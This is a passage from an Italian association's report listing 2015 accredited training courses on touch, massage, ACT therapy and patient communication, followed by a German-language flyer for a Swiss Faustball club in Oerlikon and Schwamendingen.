Attualmente, esistono numerosi interventi non farmacologici per la riduzione dei comportamenti agitati, tra cui l’impiego della musica, il contatto fisico e il massaggio alle mani. Questi metodi, applicati anche in anziani affetti da demenza, hanno mostrato effetti positivi nella diminuzione degli episodi di agitazione e di aggressione. Il corso di formazione si è svolto con l’obiettivo di presentare teoricamente gli studi e i metodi alternativi all’agitazione, di mostrare e far sperimentare ai soggetti un intervento basato sul massaggio alle mani combinato con una musica adeguata. **Obiettivi** - Presentare l’agitazione nell’anziano e darne una lettura Funzionale - Discutere un caso portato dai partecipanti - La comunicazione non verbale nella musica e nel contatto fisico - Far sperimentare ai partecipanti il massaggio mani e gli effetti di una musica adeguata al rilassamento - Fornire le linee guida per individuare i tipi di musica adatti alla riduzione dell’agitazione **Tempi** Il corso è stato articolato in una giornata (28 marzo 2015). **Destinatari** Il corso è stato accreditato per le professioni di: Psicologi (tutte le discipline), Medici (tutte le discipline), Fisioterapisti, Infermieri professionali, Educatori professionali, Assistenti sanitari, Dietista, Podologo, Tecnico della riabilitazione psichiatrica, Tecnico di fisiopatologia cardiocircolatoria, Tecnico sanitario laboratorio biomedico, Tecnico sanitario di radiologia medica, Tecnico Audiometrista, Tecnico audioprotesista, Tecnico di neuro fisiopatologia, Tecnico Ortopedico, Terapista occupazionale ed era aperto a tutti coloro interessati al tema. **Referenti**: Luca Rizzi, Laura Casetta. 9.2 CORSO DI FORMAZIONE “TOCCARE È COMUNICARE” Il personale sanitario tocca i pazienti per svolgere compiti di carattere clinico, riabilitativo, di igiene, ma anche per comunicare cura e offrire conforto. Per questi motivi il toccare è, nelle professioni di aiuto, un aspetto integrante e fondamentale della cura stessa. Il tocco è una forma di stimolazione sensoriale fondamentale per la vita e per l’adattamento sociale della persona, al punto che Morrison (2010) l’ha definito organo sociale per le implicazioni che ha nelle relazioni interpersonali intime (basti pensare alla relazione neonato-madre o a quella tra partners). In ambito sanitario il tocco può essere strumentale o relazionale. I professionisti vengono generalmente istruiti e formati nel primo, mentre il secondo viene spesso tralasciato, nonostante la maggior parte dei pazienti riferisca che essere toccati su braccia, spalle, ginocchia e mani sia fisicamente ed emotivamente confortante. Una mancata formazione sul tocco relazionale può portare il professionista ad agire “d’istinto”, ad evitare di usare un tocco empatico e di conforto, o di usarlo anche con pazienti che non ne hanno un buon rapporto e con i quali il tocco può provocare reazioni emotivamente instabili e talvolta intense, sia nel professionista che nel paziente. La giornata di formazione ha previsto un aggiornamento teorico scientifico nel settore della comunicazione non verbale tra personale sanitario e paziente, con una particolare attenzione agli aspetti relazionali e psicologici sui quali il tocco va ad agire. **Obiettivi** - Illustrazione di casi nei quali il toccare può dare al paziente reazioni emotive negative o inadeguate. - Sperimentazione di tecniche di tocco per familiarizzare con questo canale comunicativo e apprendere la modulazione delle diverse caratteristiche che lo rendono un linguaggio espressivo che va ad incidere sulla relazione con il paziente. **Tempi** Il corso è stato articolato in una giornata (16 maggio 2015). **Destinatari** Il corso è destinato a Psicologi, Medici, Fisioterapisti, Infermieri professionali, Infermieri pediatrici, Ostetriche, Educatori professionali, Logopedista, Assistenti sanitari, Dietista, Podologo, Tecnico della riabilitazione psichiatrica, Terapisti della neuro e psicomotricità, Tecnico di fisiopatologia cardiocircolatoria, Tecnico sanitario laboratorio biomedico, Tecnico sanitario di radiologia medica, Tecnico Audiometrista, Tecnico audioprotesista, Tecnico di neuro fisiopatologia, Tecnico Ortopedico, Terapista occupazionale, Ottico e a tutti gli interessati all’argomento proposto. **Referenti**: Giuseppe Rizzi, Luca Rizzi, Laura Casetta. 9.3 CORSO DI FORMAZIONE “WORKSHOP AVANZATO SULL’ACCEPTANCE & COMMITMENT THERAPY: UNA GUIDA VERSO LA RELAZIONE TERAPEUTICA” L’Acceptance and Commitment Therapy, o ACT è una nuova forma di psicoterapia, con solide basi scientifiche, e fa parte di quella che viene definita la “terza onda” della terapia cognitivo comportamentale (Hayes, 2004). L’ACT aiuta, attraverso la mindfulness, esercizi esperienziali e metafore, a riportare la persona in una direzione di vita dove ci sono persone e cose importanti per lei, abbandonando la lotta contro il cercare di risolvere problemi irrisolvibili come la sofferenza, l’ansia, il disagio. Parte fondamentale dell’intervento ACT è la relazione terapeutica, punto riconosciuto anche in approcci molto diversi tra loro, come fondamentale e allo stesso tempo complesso, poiché riguarda non tanto quello che il terapeuta sa o fa con il paziente, ma riguarda il *come* sta nel momento presente, dentro la stanza di terapia, col paziente. Il terapeuta infatti porta con sé in seduta anche le proprie difficoltà a stare con sensazioni ed emozioni, le proprie storie, le proprie regole su cosa deve fare un buon terapeuta. Così, quando si presentano in seduta frasi come “Questa terapia non mi sta servendo a nulla...” o “Spiegami perché sono così depressa”, lo psicoterapeuta può agganciarsi ad una sua emozione o a un suo pensiero e di conseguenza potrebbe iniziare a muoversi in modo poco flessibile, staccandosi dal paziente e dal momento presente. In questa modalità l’intervento può risultare meno efficace, perdendo l’occasione di usare ciò che emerge nella relazione. Questo Workshop ACT avanzato vuole offrire ai partecipanti degli strumenti specifici, sia teorici che pratici, per allenarsi a non “abboccare” agli ami che ci portiamo in seduta in modo da essere più presenti e consapevoli nella stanza di terapia, imparando a stare nella relazione e a usarla nel momento presente in modo mirato ai sei processi ACT. Durante il Workshop i partecipanti lavoreranno principalmente con esercizi di role-playing e a piccoli gruppi su casi clinici o sulle proprie difficoltà. **Obiettivi** Questo corso teorico-esperienziale aveva l’obiettivo di: - Presentare degli strumenti per la concettualizzazione di un caso secondo l’ACT - Presentare le caratteristiche per agire in modo ACT in seduta - Prendere consapevolezza di come le proprie emozioni e i propri pensieri agganciano il terapeuta in seduta - Allenarsi a riconoscere il proprio mondo interno senza agire nella direzione di controllarlo e rimanendo in contatto col paziente - Presentare come il centrarsi nel momento presente sia importante per sviluppare la relazione col paziente - Imparare a mirare la relazione ad un intervento flessibile sui processi ACT - Proporre delle esercitazioni per creare un intervento ACT personalizzato - Proporre degli esercizi sull’apprezzare **Tempi** Il corso si è svolto in due giornate (24 e 25 ottobre 2015). **Destinatari** Il corso è stato accreditato per le professioni di Medici(tutte le discipline), Psicologi(tutte le discipline). **Referenti**: Luca Rizzi, Laura Casetta 9.4 CORSO DI FORMAZIONE “LO SVILUPPO RELAZIONALE DEL BAMBINO ATTRAVERSO IL CONTATTO FISICO: TECNICHE E GIOCHI PER STARE CON L’ALTRO NELLA CONSAPEVOLEZZA DELLE PROPRIE SENSAZIONI” Il tocco interpersonale, inteso come il posare le mani su qualcuno per dimostrargli gentilezza o tenerezza, è una forma di amore e di affetto che si presenta nel contesto familiare e in altri ambienti, come la scuola. Ricerche cliniche sul ruolo del tocco interpersonale sono iniziate con Spitz nel 1945, il quale notò un’alta mortalità tra i bambini che negli orfanotrofi non erano toccati o lo erano pochissimo. Così Spitz ipotizzò che il cibo e le condizioni sanitarie fossero insufficienti per la sopravvivenza e che il tocco doveva essere dato ai bambini come una necessità biologica, non solo come forma di dimostrazione di affetto. Successivamente Harlow nel 1958 studiò gli animali deprivati dalla presenza materna e dal contatto fisico e mise in luce quanto quest’ultimo fosse fondamentale per lo sviluppo emotivo e sociale dei cuccioli. Queste e successivamente altre ricerche mostrano come il tocco sia una forma di comunicazione non verbale che crea e mantiene l’intimità nella relazione, soprattutto tra genitori e bambini o tra partner. Il tocco dell’adulto, avendo anche un effetto rassicurante e calmante (ad esempio in situazioni critiche o di disagio, come la malattia), insegna al bambino come regolare le proprie emozioni, sviluppa la sua esperienza di benessere fisico e la sua capacità di ritrovarlo o ricrearlo in età adulta (Andersen and Leibowitz 1978; Burgoon et al. 1984; Guerrero and Andersen 1991; Johnson and Edwards 1991; Pisano et al. 1986; Willis and Briggs 1992). Non tutti i bambini vivono in famiglia l’esperienza del tocco in modo adeguato: genitori con forme psicopatologiche depressive, o con stili di attaccamento evitanti o ambivalenti toccano poco o hanno un tocco aggressivo o non congruente con i bisogni del bambino. Bambini che hanno un genitore (o entrambi) con questa difficoltà mostrano, rispetto alla media, maggiori disturbi nel comportamento, nella regolazione delle emozioni o maggiori problemi nella socialità già in età prescolare, problemi che spesso si protraggono anche in età adulta sfociando in disagio psicologico (Melrose, 2010). Alcuni studi hanno dimostrato che l’essere tocati da piccoli correla positivamente con alcuni tratti di personalità, come l’autostima, le competenze sociali e la soddisfazione della propria vita (Deethardt and Hines 1983; Fromme et al. 1989; Jones and Brown 1996). **Obiettivi** Questo corso teorico-esperienziale aveva l’obiettivo di: - presentare le ricerche sugli effetti positivi del tocco sullo sviluppo emotivo, cognitivo e sociale del bambino, - offrire degli strumenti operativi per lavorare attraverso il contatto fisico col bambino, - presentare la Psicologia Funzionale e il tocco nelle esperienze di Fiducia, Lasciare, Benessere, Contatto, Forza, Protezione. **Tempi** Il corso è stato articolato in una giornata (23 maggio 2015). Destinatari Il corso è destinato a Psicologi (tutte le discipline), Medici (tutte le discipline), Fisioterapisti, Infermieri professionali, Infermieri pediatrici, Igienista dentale, Educatori professionali, Logopedista, Assistenti sanitari, Dietista, Terapisti della neuro e psicomotricità. Referenti: Debora Trabucchi, Laura Casetta. 9.5 CORSO DI FORMAZIONE “CORSO DI ANALISI SCIENTIFICA DELLE ESPRESSIONI FACCIALI” Questo corso ha l’obiettivo di fornire ai professionisti che lavorano in diversi settori sanitari delle conoscenze sulla comunicazione non verbale delle emozioni in grado di migliorare la relazione con i propri pazienti e colleghi, aumentando la qualità del servizio offerto. L’espressione delle emozioni verso l’esterno può essere analizzata in base al canale espressivo utilizzato. Ogni emozione può essere espressa mediante la mimica facciale, la voce, la postura e la gestualità. Nell’uomo il volto è il canale che maggiormente si è evoluto a questo scopo. Il comportamento non verbale del viso è un linguaggio e come tale dotato di una propria grammatica e proprie regole: per poterlo comprendere appieno, occorre conoscerlo. Esistono varie tecniche per classificare in modo attendibile i segnali del volto; con strumenti che vanno dal metodo di codifica di Hjortsjo al noto Facial Action Coding System di Ekman (1972; 1977) è possibile analizzare ogni movimento del viso in modo preciso e oggettivo. Le osservazioni possono essere poi interpretate, o decodificate, secondo altri metodi, da quelli più noti come l’EMFACS di Ekman e Friesen del 1983 a quelli meno noti e più recenti come l’Interpretative System of Facial Expressions di Legisa del 2014. La codifica e la decodifica sono utili nella pratica clinica per imparare a guardare il paziente, riconoscendo possibili segnali di paura, di rabbia o di tristezza, o, al contrario di serenità, ottenendo così informazioni che possono essere fruibili dal punto di vista relazionale nel migliorare la compliance. Obiettivi Questo corso teorico-esperienziale aveva l’obiettivo di: - Approfondire gli aspetti teorici della comunicazione non verbale. - Presentare i movimenti muscolari nella parte alta del volto. - Presentare i movimenti muscolari della parte inferiore del volto. - Presentare le Unità d’azione della mascella e le codifiche supplementari. - Presentare la decodifica dei movimenti del volto per individuare le emozioni. - Svolgere esercizi per adoperare con dimestichezza il metodo di codifica e decodifica. - Svolgere l’esame per la certificazione di analisi scientifica delle espressioni facciali di NeuroComScience. Tempi Il corso è stato articolato in due giornate (25 e 26 settembre 2015). Destinatari Il corso è destinato a Psicologi (tutte le discipline), Medici (tutte le discipline), Odontoiatri, Farmacisti, Igienisti Dentali, Fisioterapisti, Ostetriche, Infermieri pediatrici, Infermieri professionali, Ortottisti, Educatori professionali, Assistenti sanitari, Logopedista, Dietista, Podologo, Tecnico della riabilitazione psichiatrica, Tecnico di fisiopatologia cardiocircolatoria, Tecnico sanitario laboratorio biomedico, Tecnico sanitario di radiologia medica, Tecnico Audiometrista, Tecnico audioprotesista, Tecnico di neurofisiopatologia, Terapista della neuro e psicomotricità dell’età evolutiva, Tecnico Ortopedico, Terapista occupazionale. Referenti: Laura Casetta. 9.6 CORSO DI FORMAZIONE “TECNICHE DI COMUNICAZIONE ASSERTIVA PER LA GESTIONE DELLA RABBIA DEI PAZIENTI” La comunicazione con pazienti arrabbiati è un’esperienza familiare a molti professionisti che lavorano in ambito socio-sanitario. Generalmente, i professionisti imparano a gestire la rabbia dei loro pazienti dall’osservazione dei loro colleghi con più esperienza o gestiscono la situazione “di pancia”, senza considerare se il loro approccio sia il più adatto o conveniente. La rabbia dei pazienti può interferire in diversi modi sulle cure mediche: i pazienti arrabbiati non riescono a comunicare in modo chiaro qual è il loro disturbo e spesso la non compliance interferisce col rispetto delle cure assegnate. La rabbia, inoltre, correla con l’esporre denuncia al professionista, indipendentemente dalla qualità delle cure ricevute. Ricerche mostrano che i professionisti che riescono a gestire efficacemente la rabbia del paziente hanno livelli di frustrazione inferiori e riducono significativamente l’effetto negativo che ha la rabbia sull’intervento terapeutico. Questo corso ha l’obiettivo di offrire ai partecipanti delle guide pratiche basate sulla recente letteratura scientifica su come gestire il paziente arrabbiato, sia da un punto di vista verbale (quali espressioni usare e quali evitare), sia da un punto di vista non verbale, imparando a riconoscere sia le proprie emozioni e sensazioni, per averne un maggiore controllo, sia quelle dell’altro, attraverso la lettura dell’espressione facciale, dei movimenti e del tono di voce. Obiettivi Questo corso teorico-esperienziale aveva l’obiettivo di: - fornire una breve presentazione sulla comunicazione, sia dal punto di vista verbale che non verbale. - Presentare i principi della comunicazione assertiva. - Proporre degli esercizi per insegnare nella pratica come e cosa rispondere al paziente arrabbiato per gestire l’emotività in modo efficace. Tempi Il corso è stato articolato in una giornata (28 maggio 2015). 9.7 CORSO DI FORMAZIONE “WORKSHOP ESPERIENZIALE BASE SU TECNICHE DI TOCCO-MASSAGGIO FUNZIONALE INTEGRATO” Mentre si massaggia una persona possono arrivare pensieri come “Cosa starà pensando?” o “Cosa faccio se si mette a piangere?” o “Forse si sta annoiando…”. Ancora, massaggiando possono arrivare emozioni come noia, ansia, tenerezza, fastidio o sensazioni come fatica, calore, tensione. Tutto ciò emerge perché massaggiando siamo in relazione con un’altra persona in un modo diverso da quello “sotto controllo” a cui siamo abituati parlando: il contatto fisico, infatti, è un canale comunicativo attraverso il quale si condivide e si scambia, in modo reciproco e senza barriere, il proprio mondo interno ed è difficile controllarlo. Questo corso ha l’obiettivo di sviluppare la capacità di stare in relazione con l’altro attraverso il massaggio e il contatto fisico, insegnando ai partecipanti a notare in modo morbido e flessibile il proprio mondo interno e quello dell’altro, attraverso indicatori come il respiro. Il corso vuole anche approfondire come alcune caratteristiche del tocco (la velocità, la pressione, la velocità con cui inizia il contatto, la controllabilità dei movimenti, etc) sono importanti per comunicare all’altro emozioni e messaggi come “Sono con te”, “Lasciatì andare”, “Mi sto prendendo cura di te”. La relazione attraverso il contatto fisico è stata sviluppata e approfondita all’interno della Psicologia Funzionale e, in particolare, attraverso lo sviluppo delle tecniche di tocco-massaggio Funzionale integrato, termine tecnico che indica che, oltre all’aspetto tecnico (massaggio), c’è un aspetto comunicativo (tocco) e relazionale (integrato, cioè che coinvolge l’intera persona, sia su un piano fisiologico e posturale, che su un piano cognitivo ed emotivo). Il corso sarà prevalentemente esperienziale e verranno proposte delle semplici tecniche di tocco massaggio Funzionale integrato su diversi distretti corporei che verranno eseguite a coppie. Le tecniche saranno condotte dai docenti che seguiranno passo passo i partecipanti e alla fine della conduzione sarà aperto uno spazio di riflessione e condivisione per sviluppare, a partire dall’esperienza, il piano teorico. Obiettivi Questo corso teorico-esperienziale aveva l’obiettivo di: - Sviluppare la consapevolezza del proprio respiro. - Fornire strumenti di osservazione del respiro. - Sperimentare diversi tipi di tocco. • Sviluppare il tema del dolore e il tocco come modo per stare con l’altro nel dolore. • Imparare che il controllo non è la soluzione, è il problema. • Imparare un modo gentile e non giudicante di stare con l’altro attraverso il tocco. • Applicare nella pratica a coppie alcune tecniche di tocco-massaggio Funzionale integrato. **Tempi** Il corso è stato articolato in due giornate (14 e 15 novembre 2015). **Destinatari** Il corso è destinato a Medici(tutte le discipline), Odontoiatri, Psicologi (tutte le discipline), Fisioterapisti, Infermieri professionali, Infermieri pediatrici, Ostetriche, Educatori professionali, Assistenti sanitari, Terapisti della neuro e psicomotricità, Logopedista. **Referenti**: Luca Rizzi, Laura Casetta. ### 9.8 CORSO DI FORMAZIONE “IL MASSAGGIO NEONATALE NELLA RELAZIONE MADRE BAMBINO” È accertato che un neonato instaura, sin dai suoi primi giorni di vita, un contatto molto intenso con la madre attraverso diversi canali sensoriali, tra i quali il tocco. Questo è un sistema sensoriale fondamentale sia per lo sviluppo dei sistemi fisiologici del bambino, sia per il suo sviluppo sociale e cognitivo. Il tocco, infatti, soddisfa diversi bisogni di base fondamentali del bambino ed è uno dei primi canali comunicativi non verbali, insieme al tono di voce, con il quale comunica con il genitore, in un continuo scambio reciproco di stati emotizionali dalla tenerezza, alla rabbia, alla paura. Il tocco è stato, infatti, di recente chiamato “il senso sociale”. Il canale comunicativo del tatto non è sempre ben conosciuto dal genitore, che può anche non sentirsi a proprio agio nel toccare o nell’essere toccato e ricerche in questo settore hanno messo in luce che le mamme usano il tocco come canale comunicativo proporzionalmente a quanto sono state toccate nel loro sviluppo. Il massaggio neonatale si inserisce, in questo contesto, non solo come tecnica per il sollievo di sintomi o per lo sviluppo propriocettivo del bambino, ma può essere visto anche come l’occasione per insegnare a quelle mamme maggiormente in difficoltà col tocco, a sviluppare questo canale comunicativo entrando in una relazione più ricca con il bambino. Il corso approfondirà il contesto scientifico di riferimento del tocco e del massaggio, illustrando successivamente la storia del massaggio neonatale e le sue radici culturali. Le diverse sessioni approfondiranno, in una modalità esperienziale, come diversi tipi di tocco (variando ad esempio la velocità, la pressione o altre caratteristiche) possono comunicare emozioni e sensazioni diverse. Infine, un accenno sarà fatto al massaggio ai bambini nati prematuri mostrando il video del protocollo delineato dalla Field, di cui sono stati dimostrati gli effetti positivi sulla crescita e sulla salute del bambino. Questo tipo di tocco verrà poi sperimentato direttamente dai partecipanti. L’ultima giornata di lavoro ha previsto anche l’applicazione di quanto imparato sul tocco e sul massaggio nella ideazione di una sessione di massaggio neonatale, nell’ottica di preparare i corsisti alla pratica sul campo e alla relazione di accompagnamento con le mamme. **Destinatari** Medici, Psicologi, Fisioterapisti, Infermieri professionali, Infermieri pediatrici, Educatori professionali, Logopedisti, Terapisti della neuro e della psicomotricità, Ostetriche ed è destinato a tutti gli interessati **Metodologia** Le giornate di lavoro prevedono approfondimenti teorici sulla relazione genitore-bambino. Sono proposte esperienze pratiche di Massaggio Funzionale Integrato Neonatale. Vengono mostrati dei video esemplificativi dell’applicazione di tale modello. **Tempi** Il corso è stato articolato in due giornate (30-31 maggio 2015). **Referenti**: Cristina Pesce, Luca Rizzi, Laura Casetta. --- 9.9 CORSO DI FORMAZIONE “TECNICHE E SEQUENZE DI MASSAGGIO NEONATALE FUNZIONALE DI GRUPPO: COME STRUTTURARE, CONDURRE E COINVOLGERE IL GRUPPO” Il successo di un corso di massaggio neonatale dipende sia da fattori tecnico-strutturali che da fattori comunicativi-relazionali. Per questo motivo il presente corso si propone di sviluppare parallelamente due obiettivi: il primo è approfondire la strutturazione di quattro sessioni di massaggio neonatale funzionale attraverso la sperimentazione pratica della conduzione delle tecniche che ne fanno parte e il secondo è di istruire i partecipanti a comunicare in modo empatico per condurre e coinvolgere un gruppo di coppie mamma-neonato in modo efficace, su un piano relazionale-comunicativo. Per il conseguimento del primo obiettivo i partecipanti lavoreranno nelle due giornate formative su sequenze di movimento e di tecniche di massaggio neonatale funzionale in modo da apprenderle praticamente e poterle adattare ad ogni tipo di esigenza particolare e di contesto. Le sessioni che verranno proposte e approfondite durante le due giornate di formazione saranno relative alla tenerezza, all’addormentamento, alla scoperta delle sensazioni e alla giocosità. I partecipanti impareranno a condurre le tecniche attraverso esercitazioni in cui sarà previsto il role-playing. **Obiettivi** - Acquisire competenze sulla comunicazione verbale e non verbale. - Acquisire tecniche e sequenze specifiche di Massaggio Funzionale Neonatale. - Sperimentarsi nella conduzione di un corso di massaggio neonatale. **Tempi** Il corso è stato articolato in due giornate (5 e 6 dicembre 2015). 9.10 CORSO DI FORMAZIONE “LA PSICOLOGIA DELL’EMERGENZA: PROPOSTE D’INTERVENTO PER LE VITTIME E PER I SOCCORRITORI” La Psicologia dell’Emergenza ha come obiettivo la riduzione del danno peritraumatico, nonché la prevenzione e valutazione del danno stesso: si propone dunque di operare nel campo applicativo per la tutela dell’equilibrio psichico di quei soggetti esposti ad eventi traumatici causati da disastri o calamità. Inoltre, essa cerca di comprendere i processi decisionali e le scelte comportamentali nelle situazioni di pericolo. Il suo scopo è quello di analizzare la complessa interazione tra l’essere umano, gli strumenti di sopravvivenza e protezione di cui può disporre e l’entità della catastrofe. La reazione ad un evento di calamità è una reazione di distress acuto, che va opportunamente e tempestivamente affrontata affinché non si trasformi in una condizione patologica. Proprio nel campo della gestione e della riduzione dei disturbi da stress, l’applicazione del Modello Funzionale ha dato risultati particolarmente interessanti, essendo in grado di affrontare, con tecniche specifiche, tutti gli aspetti psicofisici coinvolti nella condizione di distress. È possibile prevenire l’insorgere di disturbi nel soccorritore effettuando un intervento di riequilibrio Funzionale, così come è possibile ed è auspicabile offrire alle vittime una stabilizzazione emotiva grazie ad un intervento su tutti i funzionamenti alterati dall’evento traumatico; ad esempio nel soccorritore si lavora sull’allentamento che permetta una modulazione del tono muscolare, un allentamento morbido del controllo e una centratura sul proprio stato vitale, al fine di passare da uno stato di distress ad uno di eustress. **Obiettivi** Questo corso teorico-esperienziale ha l’obiettivo di: - presentare l’approccio Funzionale alla psicologia dell’Emergenza; - acquisire conoscenze e competenze relative alla diagnosi e all’intervento Funzionale nella psicologia dell’emergenza; - sperimentare i Funzionamenti di Fondo che sono basilari nel lavoro del soccorritore (professionista e volontario): Controllo, Contatto, Lasciare, ecc. **Tempi** Il corso si è svolto sabato 11 aprile. **Destinatari** Il corso è destinato a Psicologi(tutte le discipline), Medici(tutte le discipline), educatori professionali, infermieri pediatrici, infermieri professionali, assistenti sanitari. **Referenti** Francesca Galvani, Lisa Buoso. 9.11 CORSO DI FORMAZIONE “LA RELAZIONE DI CURA NELLA DISABILITÀ NEUROPSICHICA GRAVE: IL BENESSERE PER SÉ E PER L’ALTRO” Una parte del corso è volta a formare gli operatori all’approccio alla persona, in particolare al paziente con disabilità psichica grave, ai suoi bisogni, ai suoi funzionamenti e alle risorse che si possono utilizzare in interventi focalizzati e nella creazione o rafforzamento della relazione con gli utenti. Una lettura integrata del funzionamento della persona consente di affinare una modalità di intervento nel contatto che tenga presente il livello evolutivo dell’utente cogliendone il processo nelle sue alterazioni, nella comunicazione in termini di espressione dei bisogni e nel dare risposte agli stessi. Nell’interazione l’operatore è un Sé ausiliario che mette in gioco risorse personali e metodologiche come l’uso della propria voce, del movimento, del tocco cui si aggiungono tecniche ed esperienze congruenti all’obiettivo di una comunicazione a 360°, compreso l’ambito empatico e il contatto con la persona di cui ci si prende cura. Per i professionisti delle relazioni di aiuto, implicati in un contatto continuo e diretto con persone in difficoltà, la dedizione completa porta al rischio di stress cronico e burn out, ovvero al cedimento psicofisico e l’esaurimento di risorse personali nel tentativo di adattarsi alle difficoltà, con conseguenze a livello di qualità di vita, personale e lavorativa. Un’altra parte del corso prevede l’utilizzo di tecniche ed esperienze quali Lasciare il Controllo, Allentamento, Sentire e Percepire, Contatto. Tali tecniche diventano, dunque, potenziamento di fondamentali mezzi di interazione sia tra gli utenti sia come mezzo di sviluppo e di evoluzione tra operatori ed utenti. Il percorso è rivolto agli operatori che intendono avvicinarsi ed esplorare le proprie modalità di reazione allo stress che causano disagio e disturbi e, attraverso esperienze concrete e di lavoro corporeo, modificarle nella direzione del Benessere. Si propone, dunque, come spazio in cui gli operatori possono sperimentare attività di benessere e vitalità. Lo stato di Benessere influisce direttamente sulla modalità di percepire gli eventi e, nel caso di eventi stressanti, permette di non viverli in modo esasperato e drammatico. L’attenzione verrà data a quelle Funzioni maggiormente implicate nel cortocircuito stress-benessere: il respiro, il tono muscolare (tensioni e contrazioni che riguardano diverse fasce muscolari), le sensazioni, le emozioni, l’ampiezza e la mobilità del movimento e delle posture (rigidità, disequilibri, riduzioni di gamme di movimento e di espressione) che, indirettamente, influiscono sui sistemi vitali coinvolti (sistema immunitario, vegetativo, endocrino). **Obiettivi** - Presentare l’approccio Funzionale per una lettura integrata della persona; - acquisire conoscenze e competenze relative alla diagnosi e all’intervento Funzionale nella disabilità psichica; - sviluppare maggiore consapevolezza verso le risposte psicofisiologiche allo stress; - sperimentare le tecniche per la gestione dello stress causato dalla gestione del disabile grave; - sperimentare esperienze utili alla presa in carico del paziente; - identificare i fattori che costituiscono il benessere personale. Destinatari Il corso è destinato a Psicologi (tutte le discipline), Medici (tutte le discipline), educatori professionali, infermieri professionali, assistenti sanitari. Metodologia Attraverso una metodologia frontale e di didattica attiva si forniscono strumenti teorici e pratici che mettono in luce i diversi livelli di funzionamento del disabile neuropsichico grave e le risorse utilizzate dagli operatori nella gestione del paziente. Tempi Il percorso formativo si è svolto in una giornata, dalle 9.00 alle 18.00 (27 novembre 2015). Referenti: Rita Pinetti, Ester Boccasso, Lisa Buoso 11. PROGETTI PER IL FUTURO CORSI ACCREDITATI ECM - Workshop avanzato di Tocco massaggio Funzionale: Toccare è comunicare - La mindfulness nella promozione del benessere durante il periodo perinatale - Il tocco e la compassione nell’accompagnamento alla morte - Lavorare con le dipendenze: rischio di burn-out e problematiche interconnesse alla relazione di cura ATTIVITÀ - Genitori e supereroi – corso di intelligenza emotiva rivolto ai genitori - Note che Cullano - Corso di canto in gravidanza - Corso di teatro-danza su emozioni e colori Corsi di formazione accreditati dal MIUR ……E NATURALMENTE PROSEGUONO TUTTE LE ATTIVITA’ E I CORSI DELL’ASSOCIAZIONE
<urn:uuid:fdf93c69-c618-4c64-893c-78bb84f45a40>
HuggingFaceFW/finepdfs/tree/main/data/ita_Latn/train
finepdfs
ita_Latn
118,212
FAUSTBALL Oerlikon / Schwamendingen Aktive Vereine haben nur eine Überlebenschance, wenn man sich rechtzeitig um die Ausbildung des Nachwuchses kümmert. Im Herbst 2007 haben wir deshalb eine Faustball-Jugendabteilung unter dem obenstehenden Namen gegründet. Auf Grund unserer jährlichen Vorstellungen in verschiedenen Schulhäusern in Oerlikon und Schwamendingen begeistern wir Knaben und Mädchen für Faustball. Sie trainieren und spielen (Turniere und Meisterschaften) nach Altersklassen in verschiedenen Gruppen. Trainingslager und Trainingssamstag sowie Spielabend mit den Eltern runden das Programm ab. Die Trainings finden im Rahmen von J+S (Jugend und Sport) unter der Leitung von ausgebildeten J+S-Leitern wie folgt statt: Weitere Auskünfte erteilt gerne unser Trainingsleiter Peter Negri Gagliardiweg 5, 8050 Zürich, Tel. 079 798 69 70. Neue Interessenten (Buben und Mädchen) sind herzlich willkommen - "probiere choscht nüüt" ! wer sind wir und was tun wir… Ausgabe Juli 2013 Turnverein Konkordia Oerlikon Der kath. Turnverein Konkordia Oerlikon (TKO) wurde im Jahre 1915 von Mitgliedern des kath. „Jünglingsvereins" als Pfarreiverein von Herz Jesu Oerlikon gegründet. Nach vielen erfolgreichen Jahren mit Jugendriege, Aktivsektion und Männerriege fusionierten die wenigen verbleibenden Mitglieder der Aktivsektion im Jahr 1997 mit der Männerriege zum heutigen Turnverein Konkordia Oerlikon. Unsere Aktivitäten in sportlicher Hinsicht konzentrieren sich seit vielen Jahren auf den Faustballsport sowie körperliche Fitness. Wir beteiligen uns an Faustball-Meisterschaften im Freien und in der Halle, an verschiedenen Turnieren und organisieren faustballerische Anlässe wie Meisterschaften des Verbandes, das Kleinfeld-Faustballturnier oder das Züri-Nord-Turnier. Daneben legen wir Wert auf gute Kameradschaft auch ausserhalb des Spielbetriebes. Maibummel, Bergtouren oder der Fonduebummel gehören ebenso in unser Jahresprogramm wie gesellige Abende mit unseren Frauen. Sie finden uns auch auf unserer Homepage unter www.fb-oerlikon-schwamendingen.ch Weitere Auskünfte erteilt gerne unser Präsident Franz Degan, Gartenstrasse 30, 8154 Oberglat, Tel. 044 850 03 83 Wir freuen uns auf neue Kameraden - Probiere choscht nüüt ! Eine Spiel- und Trainingsgemeinschaft FAUSTBALL Oerlikon/ Schwamendingen Im Frühjahr 2007 schlossen sich die beiden Züri-Nord-Vereine MR STV SCHWAMENDINGEN und TV KONKORDIA OERLIKON zu einer Spiel- und Trainingsgemeinschaft zusammen, um damit weiterhin einen attraktiven Faustballbetrieb in verschiedenen Stärkeklassen und Kategorien sicherzustellen. Damit ist gewährleistet, dass Zürich-Nord auch in Zukunft bei den verschiedenen Meisterschaften der Sportverbände SWISS FAUSTBALL und SPORT UNION ZÜRICH und traditionellen Einladungsturnieren vertreten ist. Die Faustballgruppe der MR Schwamendingen wurde später aufgelöst und die Schwamendinger-Faustballer sind nun Mitglieder des TKO. Alljährlich organisieren wir unter obigem Namen ein Kleinfeldturnier für Zweiermannschaften auf der Saatlenwiese sowie das Züri-NordHallenturnier im Dezember in Opfikon, an welchem gegen 20 Mannschaften (Jugendliche und Erwachsene) teilnehmen. Wir trainieren jeden Mittwochabend von 20.00 - 21.45 Uhr in der Turnhalle Saatlen A, Tramstrasse 130 (beim Dreispitz), im Sommer von 19.00 – 20.45 Uhr auf der Saatlen-Wiese). Weitere Auskünfte erteilt gerne der Trainingsleiter Hans Schwander, Austrasse 19, 8604 Volketswil, Tel. 044 946 02 97 / 079 403 31 88. Wir freuen uns auf neue Kameraden - Probiere choscht nüüt !
<urn:uuid:06ee4efa-1605-43ad-b9c8-965840a36b8b>
HuggingFaceFW/finepdfs/tree/main/data/deu_Latn/train
finepdfs
deu_Latn
3,563
